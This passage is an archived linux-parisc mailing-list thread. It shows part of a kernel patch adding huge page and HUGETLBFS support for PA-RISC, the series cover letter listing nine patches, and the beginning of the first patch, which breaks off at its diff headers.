+ * If the arch doesn't supply something else, assume that hugepage
+ * size aligned regions are ok without further preparation.
+ */
+static inline int prepare_hugepage_range(struct file *file,
+			unsigned long addr, unsigned long len)
+{
+	if (len & ~HPAGE_MASK)
+		return -EINVAL;
+	if (addr & ~HPAGE_MASK)
+		return -EINVAL;
+	return 0;
+}
+
+static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
+					  unsigned long addr, unsigned long end,
+					  unsigned long floor,
+					  unsigned long ceiling)
+{
+	free_pgd_range(tlb, addr, end, floor, ceiling);
+}
+
+static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
+					 unsigned long addr, pte_t *ptep)
+{
+}
+
+static inline int huge_pte_none(pte_t pte)
+{
+	return pte_none(pte);
+}
+
+static inline pte_t huge_pte_wrprotect(pte_t pte)
+{
+	return pte_wrprotect(pte);
+}
+
+static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
+					   unsigned long addr, pte_t *ptep)
+{
+	pte_t old_pte = *ptep;
+	set_huge_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
+}
+
+static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
+					     unsigned long addr, pte_t *ptep,
+					     pte_t pte, int dirty)
+{
+	int changed = !pte_same(*ptep, pte);
+	if (changed) {
+		set_huge_pte_at(vma->vm_mm, addr, ptep, pte);
+		flush_tlb_page(vma, addr);
+	}
+	return changed;
+}
+
+static inline pte_t huge_ptep_get(pte_t *ptep)
+{
+	return *ptep;
+}
+
+static inline void arch_clear_hugepage_flags(struct page *page)
+{
+}
+
+#endif /* _ASM_PARISC64_HUGETLB_H */
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index 60d5d17..ca2dff4 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -145,10 +145,13 @@ extern int npmem_ranges;
 #endif /* CONFIG_DISCONTIGMEM */
 
 #ifdef CONFIG_HUGETLB_PAGE
-#define HPAGE_SHIFT		22	/* 4MB (is this fixed?) */
+#define HPAGE_SHIFT		PMD_SHIFT /* fixed for transparent huge pages */
 #define HPAGE_SIZE      	((1UL) << HPAGE_SHIFT)
 #define HPAGE_MASK		(~(HPAGE_SIZE - 1))
 #define HUGETLB_PAGE_ORDER	(HPAGE_SHIFT - PAGE_SHIFT)
+
+#define REAL_HPAGE_SHIFT	20 /* 20=1MB, 22=4MB */
+#define _HUGE_PAGE_SIZE_ENCODING_DEFAULT _PAGE_SIZE_ENCODING_1M
 #endif
 
 #define virt_addr_valid(kaddr)	pfn_valid(__pa(kaddr) >> PAGE_SHIFT)
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index f93c4a4..148a243 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -167,7 +167,7 @@ static inline void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
 #define _PAGE_NO_CACHE_BIT 24   /* (0x080) Uncached Page (U bit) */
 #define _PAGE_ACCESSED_BIT 23   /* (0x100) Software: Page Accessed */
 #define _PAGE_PRESENT_BIT  22   /* (0x200) Software: translation valid */
-/* bit 21 was formerly the FLUSH bit but is now unused */
+#define _PAGE_HPAGE_BIT    21   /* (0x400) Huge Page */
 #define _PAGE_USER_BIT     20   /* (0x800) Software: User accessible page */
 
 /* N.B. The bits are defined in terms of a 32 bit word above, so the */
@@ -194,6 +194,7 @@ static inline void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
 #define _PAGE_NO_CACHE (1 << xlate_pabit(_PAGE_NO_CACHE_BIT))
 #define _PAGE_ACCESSED (1 << xlate_pabit(_PAGE_ACCESSED_BIT))
 #define _PAGE_PRESENT  (1 << xlate_pabit(_PAGE_PRESENT_BIT))
+#define _PAGE_HUGE     (1 << xlate_pabit(_PAGE_HPAGE_BIT))
 #define _PAGE_USER     (1 << xlate_pabit(_PAGE_USER_BIT))
 
 #define _PAGE_TABLE	(_PAGE_PRESENT | _PAGE_READ | _PAGE_WRITE |  _PAGE_DIRTY | _PAGE_ACCESSED)
@@ -217,7 +218,7 @@ static inline void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
 #define PxD_FLAG_VALID    (1 << xlate_pabit(_PxD_VALID_BIT))
 #define PxD_FLAG_MASK     (0xf)
 #define PxD_FLAG_SHIFT    (4)
-#define PxD_VALUE_SHIFT   (8) /* (PAGE_SHIFT-PxD_FLAG_SHIFT) */
+#define PxD_VALUE_SHIFT   (PFN_PTE_SHIFT-PxD_FLAG_SHIFT)
 
 #ifndef __ASSEMBLY__
 
@@ -363,6 +364,13 @@ static inline pte_t pte_mkwrite(pte_t pte)	{ pte_val(pte) |= _PAGE_WRITE; return
 static inline pte_t pte_mkspecial(pte_t pte)	{ return pte; }
 
 /*
+ * Huge pte definitions.
+ */
+#define pte_huge(pte)           (pte_val(pte) & _PAGE_HUGE)
+#define pte_mkhuge(pte)         (__pte(pte_val(pte) | _PAGE_HUGE))
+
+
+/*
  * Conversion functions: convert a page and protection to a page entry,
  * and a page entry and page directory to the page they refer to.
  */
@@ -410,8 +418,9 @@ static inline pte_t pte_modify(pte_t pte, pgprot_t newprot)
 /* Find an entry in the second-level page table.. */
 
 #if CONFIG_PGTABLE_LEVELS == 3
+#define pmd_index(addr)         (((addr) >> PMD_SHIFT) & (PTRS_PER_PMD - 1))
 #define pmd_offset(dir,address) \
-((pmd_t *) pgd_page_vaddr(*(dir)) + (((address)>>PMD_SHIFT) & (PTRS_PER_PMD-1)))
+((pmd_t *) pgd_page_vaddr(*(dir)) + pmd_index(address))
 #else
 #define pmd_offset(dir,addr) ((pmd_t *) dir)
 #endif
@@ -504,6 +513,8 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 #define _PAGE_SIZE_ENCODING_4M		5
 #define _PAGE_SIZE_ENCODING_16M		6
 #define _PAGE_SIZE_ENCODING_64M		7
+#define _PAGE_SIZE_ENCODING_MASK	0x0f
+#define PHYS_PAGE_SIZE_ENCODING(x)	((x) & _PAGE_SIZE_ENCODING_MASK)
 
 #if defined(CONFIG_PARISC_PAGE_SIZE_4KB)
 # define _PAGE_SIZE_ENCODING_DEFAULT _PAGE_SIZE_ENCODING_4K
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 294d251..587005a 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -46,25 +46,15 @@
 #define MADV_DONTFORK	10		/* don't inherit across fork */
 #define MADV_DOFORK	11		/* do inherit across fork */
 
-/* The range 12-64 is reserved for page size specification. */
-#define MADV_4K_PAGES   12              /* Use 4K pages  */
-#define MADV_16K_PAGES  14              /* Use 16K pages */
-#define MADV_64K_PAGES  16              /* Use 64K pages */
-#define MADV_256K_PAGES 18              /* Use 256K pages */
-#define MADV_1M_PAGES   20              /* Use 1 Megabyte pages */
-#define MADV_4M_PAGES   22              /* Use 4 Megabyte pages */
-#define MADV_16M_PAGES  24              /* Use 16 Megabyte pages */
-#define MADV_64M_PAGES  26              /* Use 64 Megabyte pages */
+#define MADV_MERGEABLE   12		/* KSM may merge identical pages */
+#define MADV_UNMERGEABLE 13		/* KSM may not merge identical pages */
 
-#define MADV_MERGEABLE   65		/* KSM may merge identical pages */
-#define MADV_UNMERGEABLE 66		/* KSM may not merge identical pages */
+#define MADV_HUGEPAGE	14		/* Worth backing with hugepages */
+#define MADV_NOHUGEPAGE	15		/* Not worth backing with hugepages */
 
-#define MADV_HUGEPAGE	67		/* Worth backing with hugepages */
-#define MADV_NOHUGEPAGE	68		/* Not worth backing with hugepages */
-
-#define MADV_DONTDUMP   69		/* Explicity exclude from the core dump,
+#define MADV_DONTDUMP   16		/* Explicity exclude from the core dump,
 					   overrides the coredump filter bits */
-#define MADV_DODUMP	70		/* Clear the MADV_NODUMP flag */
+#define MADV_DODUMP	17		/* Clear the MADV_NODUMP flag */
 
 /* compatibility flags */
 #define MAP_FILE	0
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index c5ef408..f0e5157 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -504,19 +504,32 @@
 
 	/* bitshift difference between a PFN (based on kernel's PAGE_SIZE)
 	 * to a CPU TLB 4k PFN (4k => 12 bits to shift) */
-	#define PAGE_ADD_SHIFT  (PAGE_SHIFT-12)
+	#define PAGE_ADD_SHIFT		(PAGE_SHIFT-12)
+	#define PAGE_ADD_HUGE_SHIFT	(REAL_HPAGE_SHIFT-12)
 
 	/* Drop prot bits and convert to page addr for iitlbt and idtlbt */
-	.macro		convert_for_tlb_insert20 pte
+	.macro		convert_for_tlb_insert20 pte,tmp
+#ifdef CONFIG_HUGETLB_PAGE
+	copy		\pte,\tmp
+	extrd,u		\tmp,(63-ASM_PFN_PTE_SHIFT)+(63-58)+PAGE_ADD_SHIFT,\
+				64-PAGE_SHIFT-PAGE_ADD_SHIFT,\pte
+
+	depdi		_PAGE_SIZE_ENCODING_DEFAULT,63,\
+				(63-58)+PAGE_ADD_SHIFT,\pte
+	extrd,u,*=	\tmp,_PAGE_HPAGE_BIT+32,1,%r0
+	depdi		_HUGE_PAGE_SIZE_ENCODING_DEFAULT,63,\
+				(63-58)+PAGE_ADD_SHIFT,\pte
+#else /* Huge pages disabled */
 	extrd,u		\pte,(63-ASM_PFN_PTE_SHIFT)+(63-58)+PAGE_ADD_SHIFT,\
 				64-PAGE_SHIFT-PAGE_ADD_SHIFT,\pte
 	depdi		_PAGE_SIZE_ENCODING_DEFAULT,63,\
 				(63-58)+PAGE_ADD_SHIFT,\pte
+#endif
 	.endm
 
 	/* Convert the pte and prot to tlb insertion values.  How
 	 * this happens is quite subtle, read below */
-	.macro		make_insert_tlb	spc,pte,prot
+	.macro		make_insert_tlb	spc,pte,prot,tmp
 	space_to_prot   \spc \prot        /* create prot id from space */
 	/* The following is the real subtlety.  This is depositing
 	 * T <-> _PAGE_REFTRAP
@@ -553,7 +566,7 @@
 	depdi		1,12,1,\prot
 
 	/* Drop prot bits and convert to page addr for iitlbt and idtlbt */
-	convert_for_tlb_insert20 \pte
+	convert_for_tlb_insert20 \pte \tmp
 	.endm
 
 	/* Identical macro to make_insert_tlb above, except it
@@ -1147,7 +1160,7 @@ dtlb_miss_20w:
 	tlb_lock	spc,ptp,pte,t0,t1,dtlb_check_alias_20w
 	update_accessed	ptp,pte,t0,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t0
 	
 	idtlbt          pte,prot
 
@@ -1173,7 +1186,7 @@ nadtlb_miss_20w:
 	tlb_lock	spc,ptp,pte,t0,t1,nadtlb_check_alias_20w
 	update_accessed	ptp,pte,t0,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t0
 
 	idtlbt          pte,prot
 
@@ -1267,7 +1280,7 @@ dtlb_miss_20:
 	tlb_lock	spc,ptp,pte,t0,t1,dtlb_check_alias_20
 	update_accessed	ptp,pte,t0,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t0
 
 	f_extend	pte,t1
 
@@ -1295,7 +1308,7 @@ nadtlb_miss_20:
 	tlb_lock	spc,ptp,pte,t0,t1,nadtlb_check_alias_20
 	update_accessed	ptp,pte,t0,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t0
 
 	f_extend	pte,t1
 	
@@ -1404,7 +1417,7 @@ itlb_miss_20w:
 	tlb_lock	spc,ptp,pte,t0,t1,itlb_fault
 	update_accessed	ptp,pte,t0,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t0
 	
 	iitlbt          pte,prot
 
@@ -1428,7 +1441,7 @@ naitlb_miss_20w:
 	tlb_lock	spc,ptp,pte,t0,t1,naitlb_check_alias_20w
 	update_accessed	ptp,pte,t0,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t0
 
 	iitlbt          pte,prot
 
@@ -1514,7 +1527,7 @@ itlb_miss_20:
 	tlb_lock	spc,ptp,pte,t0,t1,itlb_fault
 	update_accessed	ptp,pte,t0,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t0
 
 	f_extend	pte,t1
 
@@ -1534,7 +1547,7 @@ naitlb_miss_20:
 	tlb_lock	spc,ptp,pte,t0,t1,naitlb_check_alias_20
 	update_accessed	ptp,pte,t0,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t0
 
 	f_extend	pte,t1
 
@@ -1566,7 +1579,7 @@ dbit_trap_20w:
 	tlb_lock	spc,ptp,pte,t0,t1,dbit_fault
 	update_dirty	ptp,pte,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t0
 		
 	idtlbt          pte,prot
 
@@ -1610,7 +1623,7 @@ dbit_trap_20:
 	tlb_lock	spc,ptp,pte,t0,t1,dbit_fault
 	update_dirty	ptp,pte,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t0
 
 	f_extend	pte,t1
 	
diff --git a/arch/parisc/mm/Makefile b/arch/parisc/mm/Makefile
index 758ceef..134393d 100644
--- a/arch/parisc/mm/Makefile
+++ b/arch/parisc/mm/Makefile
@@ -3,3 +3,4 @@
 #
 
 obj-y	 := init.o fault.o ioremap.o
+obj-$(CONFIG_HUGETLB_PAGE) += hugetlbpage.o
diff --git a/arch/parisc/mm/hugetlbpage.c b/arch/parisc/mm/hugetlbpage.c
new file mode 100644
index 0000000..3e82f86
--- /dev/null
+++ b/arch/parisc/mm/hugetlbpage.c
@@ -0,0 +1,160 @@
+/*
+ * PARISC64 Huge TLB page support.
+ *
+ * Copyright (C) 2002, 2003, 2006 David S. Miller (davem@davemloft.net)
+ */
+
+#include <linux/fs.h>
+#include <linux/mm.h>
+#include <linux/hugetlb.h>
+#include <linux/pagemap.h>
+#include <linux/sysctl.h>
+
+#include <asm/mman.h>
+#include <asm/pgalloc.h>
+#include <asm/tlb.h>
+#include <asm/tlbflush.h>
+#include <asm/cacheflush.h>
+#include <asm/mmu_context.h>
+
+
+unsigned long
+hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
+		unsigned long len, unsigned long pgoff, unsigned long flags)
+{
+	struct hstate *h = hstate_file(file);
+
+	if (len & ~huge_page_mask(h))
+		return -EINVAL;
+	if (len > TASK_SIZE)
+		return -ENOMEM;
+
+	if (flags & MAP_FIXED)
+		if (prepare_hugepage_range(file, addr, len))
+			return -EINVAL;
+
+	if (addr)
+		addr = ALIGN(addr, huge_page_size(h));
+
+	/* we need to make sure the colouring is OK */
+	return arch_get_unmapped_area(file, addr, len, pgoff, flags);
+}
+
+
+pte_t *huge_pte_alloc(struct mm_struct *mm,
+			unsigned long addr, unsigned long sz)
+{
+	pgd_t *pgd;
+	pud_t *pud;
+	pmd_t *pmd;
+	pte_t *pte = NULL;
+
+	/* We must align the address, because our caller will run
+	 * set_huge_pte_at() on whatever we return, which writes out
+	 * all of the sub-ptes for the hugepage range.  So we have
+	 * to give it the first such sub-pte.
+	 */
+	addr &= HPAGE_MASK;
+
+	pgd = pgd_offset(mm, addr);
+	pud = pud_alloc(mm, pgd, addr);
+	if (pud) {
+		pmd = pmd_alloc(mm, pud, addr);
+		if (pmd)
+			pte = pte_alloc_map(mm, NULL, pmd, addr);
+	}
+	return pte;
+}
+
+pte_t *huge_pte_offset(struct mm_struct *mm, unsigned long addr)
+{
+	pgd_t *pgd;
+	pud_t *pud;
+	pmd_t *pmd;
+	pte_t *pte = NULL;
+
+	addr &= HPAGE_MASK;
+
+	pgd = pgd_offset(mm, addr);
+	if (!pgd_none(*pgd)) {
+		pud = pud_offset(pgd, addr);
+		if (!pud_none(*pud)) {
+			pmd = pmd_offset(pud, addr);
+			if (!pmd_none(*pmd))
+				pte = pte_offset_map(pmd, addr);
+		}
+	}
+	return pte;
+}
+
+/* Purge data and instruction TLB entries.  Must be called holding
+ * the pa_tlb_lock.  The TLB purge instructions are slow on SMP
+ * machines since the purge must be broadcast to all CPUs.
+ */
+static inline void purge_tlb_entries_huge(struct mm_struct *mm, unsigned long addr)
+{
+	// we use 2 physical huge pages to emulate Linux huge pages
+	BUILD_BUG_ON(REAL_HPAGE_SHIFT+1 != HPAGE_SHIFT);
+
+	mtsp(mm->context, 1);
+	addr &= HPAGE_MASK;
+	addr |= _HUGE_PAGE_SIZE_ENCODING_DEFAULT;
+	pdtlb(addr);
+	pdtlb(addr + (1UL << REAL_HPAGE_SHIFT));
+	if (unlikely(split_tlb)) {
+		pitlb(addr);
+		pitlb(addr + (1UL << REAL_HPAGE_SHIFT));
+	}
+}
+
+void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
+		     pte_t *ptep, pte_t entry)
+{
+	unsigned long flags;
+	unsigned long addr_start;
+	int i;
+
+#if 0 // HELGE
+	if (!pte_present(*ptep) && pte_present(entry))
+		mm->context.huge_pte_count++;
+#endif
+
+	addr &= HPAGE_MASK;
+	addr_start = addr;
+
+	spin_lock_irqsave(&pa_tlb_lock, flags);
+
+	for (i = 0; i < (1 << HUGETLB_PAGE_ORDER); i++) {
+                *ptep = entry; // set_pte_at(mm, addr, ptep, entry);
+		ptep++;
+		purge_tlb_entries(mm, addr); // non-huge
+		addr += PAGE_SIZE;
+		pte_val(entry) += PAGE_SIZE;
+	}
+
+	purge_tlb_entries_huge(mm, addr_start);
+
+	spin_unlock_irqrestore(&pa_tlb_lock, flags);
+}
+
+
+pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
+			      pte_t *ptep)
+{
+	pte_t entry;
+
+	entry = *ptep;
+	set_huge_pte_at(mm, addr, ptep, __pte(0));
+
+	return entry;
+}
+
+int pmd_huge(pmd_t pmd)
+{
+	return 0;
+}
+
+int pud_huge(pud_t pud)
+{
+	return 0;
+}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 0/9] Add Huge Page support for parisc
Date: Fri, 20 Nov 2015 22:38:33 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <1448055522-11594-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1448055543 6239 80.91.229.3 (20 Nov 2015 21:39:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Nov 2015 21:39:03 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 20 22:38:56 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZztOP-0005rY-OL
	for glpp-linux-parisc@plane.gmane.org; Fri, 20 Nov 2015 22:38:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935186AbbKTVix (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Nov 2015 16:38:53 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:55220 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S934658AbbKTViw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Nov 2015 16:38:52 -0500
Original-Received: from localhost.localdomain ([92.203.21.201]) by mail.gmx.com
 (mrgmx002) with ESMTPSA (Nemesis) id 0McVKy-1ZiMVR3mdc-00HgjZ; Fri, 20 Nov
 2015 22:38:46 +0100
X-Mailer: git-send-email 2.1.0
X-Provags-ID: V03:K0:vvfQJTB3brLNwCzBADtylRHbOJVEIAxg8i+lDHHWtBQj270hLPq
 gq+1KYv5QpHoTB4u50ZwSmTeA+jkc8VmHX3TlgBVC/X4N4DXYpTBL3lYK9gooAh5ejz3jMd
 lUYKuhTRfUBM9jEWbN5DjMMIDDHFeK6WsAAsavOSyQR0zmI+7pfkRtJ5XR67JFqzFI13Xdg
 WRv4llWhyXTuYISPAdP4g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:XrtLbSe1sN8=:gM/LHuQ1VWT792IA2nw0UQ
 bdroxMTMywGnXzATkJ4e6hNHMhcUz/K4xEMOGsWZ562ZhmGOJeKaOmST50aYNMfh66p07BaZQ
 sgvkVhpMA1uZEf5tF1fHenUCTO+7+jYDpIgegZAe0yjldx86jqUI8Edg5+0K06kzeSSXnJzR7
 UwI98yxo3Ws+iwtYPSiflshKjTXbbb6PdtzOK5rhrNgJdTUvLsIo2hY8VSaCLJZMJ2MYeFwbB
 4EVpkkqp5LXx0rJsO+X3SfxG4wlBO1Dh+qSZ4+kLL5VGDIDgT2U3SiY++qKYvqhYRk66gdsAv
 ICstKvjqCGfE2XaA1nsOgem5snio/LbjMHEjRAzlVCXX/CHktqR8rBMn4LwqHoaTlIS5i3A9X
 C6RFWI88AZrBsKaTrQHuufK1J3lYpoZjQsi5XKonRbm7Kgi7zeJVQDEj1bNplIq+4hLNsGezT
 qHiSV93G2Z7nzalI2+QkLYjg5GCsig4FDdGA+Oh4+hPsaXfcLfn2hfli2pZKDkJ04gIIzM7v+
 g0Pqy1y7vvMw4N7nmQwWCssKsWwEUqNw1RwiChBa95KHnkT7FRKT2D2SPkcDv142pW57wuXh9
 6VMCzgCOvygpSWf064/sA1fn9drkYJ7s438oGbtAzBZaejR6IuqG20VNocNwX2XEzgDdXAUYj
 EEY1Y9xKZNDTygMNvRwrsX2sGeTpfz2WcmMOwKl6SQanQXay3Q02bREQJeWIFRdXJVJ+rJiPD
 OIfRoPx8Ee6Ir80JwNnYu3OAJ99/Y4DZIL0jqSQnY3bWQy+xOa9ueufN2Po=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26150
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26150>

The following patch series adds huge page (large page) support to parisc.

Both 32 and 64bit kernels are supported as long as kernel is being compiled for
PA8X00 / PA2.0 CPUs.

Helge Deller (9):
  parisc: Fix wrong comment regarding first pmd entry flags
  parisc: Drop definition of start_thread_som for HP-UX SOM binaries
  parisc: Fix asm/mman.h regarding MAP_HUGETLB and MADV_XX flags
  parisc: Add defines for Huge page support
  parisc: Initialize the fault vector earlier in the boot process.
  parisc: Increase initial kernel mapping to 32MB on 64bit kernel
  parisc: Use long branch to do_syscall_trace_exit
  parisc: Add Huge Page and HUGETLBFS support
  parisc: Map kernel text and data on huge pages

 arch/parisc/Kconfig                 |   3 +
 arch/parisc/include/asm/hugetlb.h   |  85 +++++++++++++++++++
 arch/parisc/include/asm/page.h      |  13 ++-
 arch/parisc/include/asm/pgalloc.h   |   2 +-
 arch/parisc/include/asm/pgtable.h   |  26 +++++-
 arch/parisc/include/asm/processor.h |  27 ------
 arch/parisc/include/uapi/asm/mman.h |  29 +++----
 arch/parisc/kernel/asm-offsets.c    |   8 ++
 arch/parisc/kernel/entry.S          |  56 ++++++++-----
 arch/parisc/kernel/head.S           |   4 +-
 arch/parisc/kernel/setup.c          |  14 +++-
 arch/parisc/kernel/syscall.S        |   4 +-
 arch/parisc/kernel/traps.c          |  35 ++++----
 arch/parisc/kernel/vmlinux.lds.S    |   9 +-
 arch/parisc/mm/Makefile             |   1 +
 arch/parisc/mm/hugetlbpage.c        | 162 ++++++++++++++++++++++++++++++++++++
 arch/parisc/mm/init.c               |  42 ++++------
 17 files changed, 394 insertions(+), 126 deletions(-)
 create mode 100644 arch/parisc/include/asm/hugetlb.h
 create mode 100644 arch/parisc/mm/hugetlbpage.c

-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 1/9] parisc: Fix wrong comment regarding first pmd entry flags
Date: Fri, 20 Nov 2015 22:38:34 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <1448055522-11594-2-git-send-email-deller@gmx.de>
References: <1448055522-11594-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1448055545 6268 80.91.229.3 (20 Nov 2015 21:39:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Nov 2015 21:39:05 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 20 22:39:00 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZztOQ-0005rY-U2
	for glpp-linux-parisc@plane.gmane.org; Fri, 20 Nov 2015 22:38:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935178AbbKTViy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Nov 2015 16:38:54 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:64972 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S935179AbbKTViw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Nov 2015 16:38:52 -0500
Original-Received: from localhost.localdomain ([92.203.21.201]) by mail.gmx.com
 (mrgmx002) with ESMTPSA (Nemesis) id 0MJBEo-1Zx9Iq0pwo-002mVn; Fri, 20 Nov
 2015 22:38:46 +0100
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1448055522-11594-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:D+B4LhtS5X0/3fp8BPup+gH4Vmjdrwr6jM7OvS+avOyhIjiOy1l
 AqVE3J8vVLdhhQD3nuw/l2duCpX/83C+Xh7E34sEJqM/kuqDbnI2dCfeKKkE6npolvF0n2T
 d9KsKMIWmszNV+Q5CjouIqz6vhdkZUIuBPlutrg9g0+vRzOetQCeHaRokk4K1JqrLorTy1+
 NOmjNx6ijFJh7IFfwCpJw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:FiTT3csdi9A=:mlS7YA81FCyJYwL3l7Ur/d
 V+YRXJaX05wDMDYVLCMNt3jDXXVI98Jx79QM2u5dJ89gXKnPIOKE/l0rsdxFgHrdnGMwFflW5
 ZQbC0PK4eh6Hs0amjLqbrWE5MQ6V5QdMCq0wIV6RTqBaK6VhGZCEviDOt1SelHv3krIDfGuB8
 xqfnsyEq50QadibbGstBFYuftVWjR5Pj7rnupHA3aDw1pLKIPxpjeYCSEIhfZ+V4YIXXGW274
 yBae8n5EVA9NWeWO7s/YdpBQ31zhyDcOqa5Mm40PhknmEzrzRJXgSHpAo3TQoSkYDotrqwkeD
 +60VvVPfGVNkIZWU47L18Pzu0YmmgdKh/TflKYofsyqJNruGQ5TM86Z4insyP65SLkuTXDlPY
 oWudtlOonZIqsWACEZTBup4Qde0KqpRsl0bM6UUmS5qd1U9nXIi8GIVIXM61vrGdkc02DRu7g
 MHo1mWiZz7idHSbMa4gxnpB2o8fj4SnW5CPq3NiARKbO2PMPU+3Q3hFOB8/cShMJkJUtmYbLS
 wHWncdygSZG9OnVslKY5heeXDAwp8a7Hza4B3hf4+fh+KGTdYM/yQr8480Ug9efNi1leiPL0p
 Y9iheJxQc7YdGn6igA55As7v7gmKqcnN1GmEkma26B7Lpd91Apcg5xPuUzY/wJD5tvJUWjZZ8
 WZzHqbWHle/QqNt8QvhdoCtGVob/g1ZOWMTW51Zb02o96NSB9eBjEdUmAaYmUsI6tOjQDa3Nj
 HPsGgHcauC09x5praQlcS2zZqv0QA79P1klv/iaHojBkirjLw0jxN70wDjE=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26151
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26151>

The first pmd entry is marked with PxD_FLAG_ATTACHED instead of
_PAGE_GATEWAY.

Signed-off-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/include/asm/pgalloc.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
index 3edbb9f..f2fd327 100644
--- a/arch/parisc/include/asm/pgalloc.h
+++ b/arch/parisc/include/asm/pgalloc.h
